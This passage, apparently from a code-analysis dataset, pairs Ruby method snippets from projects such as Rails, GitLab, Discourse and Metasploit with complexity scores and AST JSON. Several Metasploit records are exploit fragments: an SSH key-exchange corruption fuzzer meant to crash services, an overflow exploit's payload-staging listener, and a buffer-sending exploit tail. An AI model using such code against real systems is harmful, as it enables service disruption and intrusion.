":[null,\"rand_text_alpha\",{\"type\":\"int\",\"children\":[1024]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}]}","id":"5cfa8d7a-b792-48f4-8ab0-27444baa9450"}
{"repo_name":"pundit","file_path":"./repos/pundit/spec/support/policies/post_policy.rb","start_line":12,"raw_source":"def update?\n    post.user == user\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"update?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"post\"]},\"user\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"user\"]}]}]}","id":"2a7aa774-00ff-4051-9c01-6b2042de6547"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/fuzzers/ssh/ssh_kexinit_corrupt.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'SSH Key Exchange Init Corruption',\n        'Description' => %q{\n          This module sends a series of SSH requests with a corrupted initial key exchange payload.\n        },\n        'Author' => [ 'hdm' ],\n        'License' => MSF_LICENSE,\n        'Notes' => {\n          'Stability' => [CRASH_SERVICE_DOWN],\n          'SideEffects' => [],\n          'Reliability' => []\n        }\n      )\n    )\n    register_options([\n      Opt::RPORT(22),\n      OptInt.new('MAXDEPTH', [false, 'Specify a maximum byte depth to test'])\n    ])\n  end","complexity_score":6.75,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"SSH Key Exchange Init Corruption\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module sends a series of SSH requests with a corrupted initial key exchange payload.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"hdm\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CRASH_SERVICE_DOWN\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"array\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[22]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptInt\"]},\"new\",{\"type\":\"str\",\"children\":[\"MAXDEPTH\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Specify a maximum byte depth to test\"]}]}]}]}]}]}]}","id":"76d540df-e34f-483b-8042-013b5f58c285"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/gitea/uris.rb","start_line":28,"raw_source":"def gitea_url_repo_settings(path)\n    normalize_uri(target_uri.path, path, 'settings')\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"gitea_url_repo_settings\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"settings\"]}]}]}","id":"14ef5819-3f76-448d-8509-7af49d22e77f"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/rate_limiter.rb","start_line":38,"raw_source":"def initialize(\n    user,\n    type,\n    max,\n    secs,\n    global: false,\n    aggressive: false,\n    error_code: nil,\n    apply_limit_to_staff: false,\n    staff_limit: { max: nil, secs: nil }\n  )\n    @user = user\n    @type = type\n    @key = build_key(type)\n    @max = max\n    @secs = secs.to_i\n    @global = global\n    @aggressive = aggressive\n    @error_code = error_code\n    @apply_limit_to_staff = apply_limit_to_staff\n    @staff_limit = staff_limit\n\n    # override the default values if staff user, and staff specific max is passed\n    if @user&.staff? && !@apply_limit_to_staff && @staff_limit[:max].present?\n      @max = @staff_limit[:max]\n      @secs = @staff_limit[:secs].to_i\n    end\n  end","complexity_score":26.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"max\"]},{\"type\":\"arg\",\"children\":[\"secs\"]},{\"type\":\"kwoptarg\",\"children\":[\"global\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"aggressive\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"error_code\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"apply_limit_to_staff\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"staff_limit\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"secs\"]},{\"type\":\"nil\",\"children\":[]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@type\",{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@key\",{\"type\":\"send\",\"children\":[null,\"build_key\",{\"type\":\"lvar\",\"children\":[\"type\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@max\",{\"type\":\"lvar\",\"children\":[\"max\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@secs\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secs\"]},\"to_i\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@global\",{\"type\":\"lvar\",\"children\":[\"global\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@aggressive\",{\"type\":\"lvar\",\"children\":[\"aggressive\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@error_code\",{\"type\":\"lvar\",\"children\":[\"error_code\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@apply_limit_to_staff\",{\"type\":\"lvar\",\"children\":[\"apply_limit_to_staff\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@staff_limit\",{\"type\":\"lvar\",\"children\":[\"staff_limit\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"staff?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@apply_limit_to_staff\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staff_limit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max\"]}]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@max\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staff_limit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@secs\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@staff_limit\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secs\"]}]},\"to_i\"]}]}]},null]}]}]}","id":"03467381-9012-4a4a-807d-9523b24579fd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/tables_truncate.rb","start_line":53,"raw_source":"def needs_truncation?\n        return false if single_database_setup?\n\n        sql = tables_to_truncate.map { |table_name| \"(SELECT EXISTS( SELECT * FROM #{table_name} ))\" }.join(\"\\nUNION\\n\")\n\n        result = with_suppressed_query_analyzers do\n          connection.execute(sql).to_a\n        end\n\n        result.to_a.any? { |row| row['exists'] == true }\n      end","complexity_score":20.3,"ast_json":"{\"type\":\"def\",\"children\":[\"needs_truncation?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"single_database_setup?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"tables_to_truncate\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"(SELECT EXISTS( SELECT * FROM \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" ))\"]}]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\nUNION\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_suppressed_query_analyzers\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"execute\",{\"type\":\"lvar\",\"children\":[\"sql\"]}]},\"to_a\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"to_a\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"str\",\"children\":[\"exists\"]}]},\"==\",{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"72dc7f7b-ffa5-41e9-9a53-c80feaf24117"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/custom_value/calculated_value_strategy.rb","start_line":34,"raw_source":"def typed_value\n    if value.present?\n      integer_value? ? value.to_i : value.to_f\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"typed_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"present?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"integer_value?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"to_i\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"value\"]},\"to_f\"]}]},null]}]}","id":"bcd70f1d-0a39-456e-b15d-5223ee74fa2f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/features/snippet_spec_helpers.rb","start_line":37,"raw_source":"def snippet_fill_in_visibility(text)\n      page.find('#visibility-level-setting').choose(text)\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"snippet_fill_in_visibility\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\"#visibility-level-setting\"]}]},\"choose\",{\"type\":\"lvar\",\"children\":[\"text\"]}]}]}","id":"bbd1f262-f1c9-41fb-a572-0d6157d1ca0c"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/app_generator_test.rb","start_line":1162,"raw_source":"def test_skip_dev_gems\n    run_generator [destination_root, \"--skip-dev-gems\"]\n    assert_no_gem \"web-console\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_skip_dev_gems\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"destination_root\"]},{\"type\":\"str\",\"children\":[\"--skip-dev-gems\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_gem\",{\"type\":\"str\",\"children\":[\"web-console\"]}]}]}]}","id":"ad00531f-50cc-4584-ba19-836bba9fa9ba"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/abstract/schema_statements.rb","start_line":1043,"raw_source":"def index_name_exists?(table_name, index_name)\n        index_name = index_name.to_s\n        indexes(table_name).detect { |i| i.name == index_name }\n      end","complexity_score":7.6,"ast_json":"{\"type\":\"def\",\"children\":[\"index_name_exists?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"arg\",\"children\":[\"index_name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index_name\"]},\"to_s\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"indexes\",{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"name\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"index_name\"]}]}]}]}]}","id":"65f1ad40-e727-42c1-8440-6d46da9f94a8"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/poll/app/models/poll.rb","start_line":46,"raw_source":"def has_voted?(user)\n    if user&.id\n      return @has_voted[user.id] if @has_voted.key?(user.id)\n\n      @has_voted[user.id] = poll_votes.where(user_id: user.id).exists?\n    end\n  end","complexity_score":16.8,"ast_json":"{\"type\":\"def\",\"children\":[\"has_voted?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_voted\"]},\"key?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_voted\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@has_voted\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"poll_votes\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]},\"exists?\"]}]}]},null]}]}","id":"83341396-e40f-402f-94b8-01b53ea1c322"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/work_packages/shared/update_ancestors.rb","start_line":44,"raw_source":"def update_ancestors_all_attributes(work_packages)\n        changes = work_packages\n                  .first\n                  .attributes\n                  .keys\n                  .uniq\n                  .map(&:to_sym)\n\n        update_each_ancestor(work_packages, changes)\n      end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_ancestors_all_attributes\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"work_packages\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_packages\"]},\"first\"]},\"attributes\"]},\"keys\"]},\"uniq\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_sym\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"update_each_ancestor\",{\"type\":\"lvar\",\"children\":[\"work_packages\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]}]}]}]}","id":"5076b67f-76d1-403d-817a-e9883ebcfc7b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http_server/html.rb","start_line":184,"raw_source":"def js_os_detect\n    @cache_os_detect ||= ::Rex::Exploitation::Js::Detect.os\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"js_os_detect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@cache_os_detect\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Exploitation\"]},\"Js\"]},\"Detect\"]},\"os\"]}]}]}","id":"79de52e2-510c-4d7d-8bea-4c34d0b205fb"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/upnp/libupnp_ssdp_overflow.rb","start_line":358,"raw_source":"def start_listener(ssl = false)\n    comm = datastore['ListenerComm']\n    if comm == \"local\"\n      comm = ::Rex::Socket::Comm::Local\n    else\n      comm = nil\n    end\n\n    self.service = Rex::Socket::TcpServer.create(\n      'LocalPort' => datastore['CBPORT'],\n      'SSL' => ssl,\n      'SSLCert' => datastore['SSLCert'],\n      'Comm' => comm,\n      'Context' =>\n        {\n          'Msf' => framework,\n          'MsfExploit' => self,\n        }\n    )\n\n    self.service.on_client_connect_proc = Proc.new { |client|\n      stage_real_payload(client)\n    }\n\n    # Start the listening service\n    self.service.start\n  end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"start_listener\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"ssl\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"comm\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ListenerComm\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"comm\"]},\"==\",{\"type\":\"str\",\"children\":[\"local\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comm\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"Socket\"]},\"Comm\"]},\"Local\"]}]},{\"type\":\"lvasgn\",\"children\":[\"comm\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"TcpServer\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LocalPort\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"CBPORT\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSL\"]},{\"type\":\"lvar\",\"children\":[\"ssl\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SSLCert\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SSLCert\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Comm\"]},{\"type\":\"lvar\",\"children\":[\"comm\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Context\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Msf\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"MsfExploit\"]},{\"type\":\"self\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"on_client_connect_proc=\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"client\"]}]},{\"type\":\"send\",\"children\":[null,\"stage_real_payload\",{\"type\":\"lvar\",\"children\":[\"client\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"service\"]},\"start\"]}]}]}","id":"284f487e-6c6b-465b-8f08-de0f933de68d"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/filter_test.rb","start_line":69,"raw_source":"def test_sort\n    assert_template_result(\"1 2 3 4\", \"{{numbers | sort | join}}\", { \"numbers\" => [2, 1, 4, 3] })\n    assert_template_result(\n      \"alphabetic as expected\",\n      \"{{words | sort | join}}\",\n      { \"words\" => ['expected', 'as', 'alphabetic'] },\n    )\n    assert_template_result(\"3\", \"{{value | sort}}\", { \"value\" => 3 })\n    assert_template_result('are flower', \"{{arrays | sort | join}}\", { 'arrays' => ['flower', 'are'] })\n    assert_template_result(\n      \"Expected case sensitive\",\n      \"{{case_sensitive | sort | join}}\",\n      { \"case_sensitive\" => [\"sensitive\", \"Expected\", \"case\"] },\n    )\n  end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_sort\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"1 2 3 4\"]},{\"type\":\"str\",\"children\":[\"{{numbers | sort | join}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"numbers\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[4]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"alphabetic as expected\"]},{\"type\":\"str\",\"children\":[\"{{words | sort | join}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"words\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"expected\"]},{\"type\":\"str\",\"children\":[\"as\"]},{\"type\":\"str\",\"children\":[\"alphabetic\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"3\"]},{\"type\":\"str\",\"children\":[\"{{value | sort}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[3]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"are flower\"]},{\"type\":\"str\",\"children\":[\"{{arrays | sort | join}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"arrays\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"flower\"]},{\"type\":\"str\",\"children\":[\"are\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"Expected case sensitive\"]},{\"type\":\"str\",\"children\":[\"{{case_sensitive | sort | join}}\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"case_sensitive\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"sensitive\"]},{\"type\":\"str\",\"children\":[\"Expected\"]},{\"type\":\"str\",\"children\":[\"case\"]}]}]}]}]}]}]}","id":"873a2324-48b6-4fef-96d5-edefaa921022"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/trigger-build.rb","start_line":418,"raw_source":"def repo_tree\n      logger.info(\"Fetching repo tree for ref '#{ref}'\")\n      downstream_client\n        .repo_tree(downstream_project_path, ref: ref, per_page: 100).auto_paginate\n        .select { |node| node[\"type\"] == \"tree\" }\n        .map { |node| \"#{node['mode']} #{node['type']} #{node['id']}  #{node['path']}\" }\n        .join(\"\\n\")\n    end","complexity_score":27.9,"ast_json":"{\"type\":\"def\",\"children\":[\"repo_tree\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Fetching repo tree for ref '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ref\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"downstream_client\"]},\"repo_tree\",{\"type\":\"send\",\"children\":[null,\"downstream_project_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ref\"]},{\"type\":\"send\",\"children\":[null,\"ref\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"per_page\"]},{\"type\":\"int\",\"children\":[100]}]}]}]},\"auto_paginate\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"tree\"]}]}]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"mode\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"type\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]},{\"type\":\"str\",\"children\":[\"  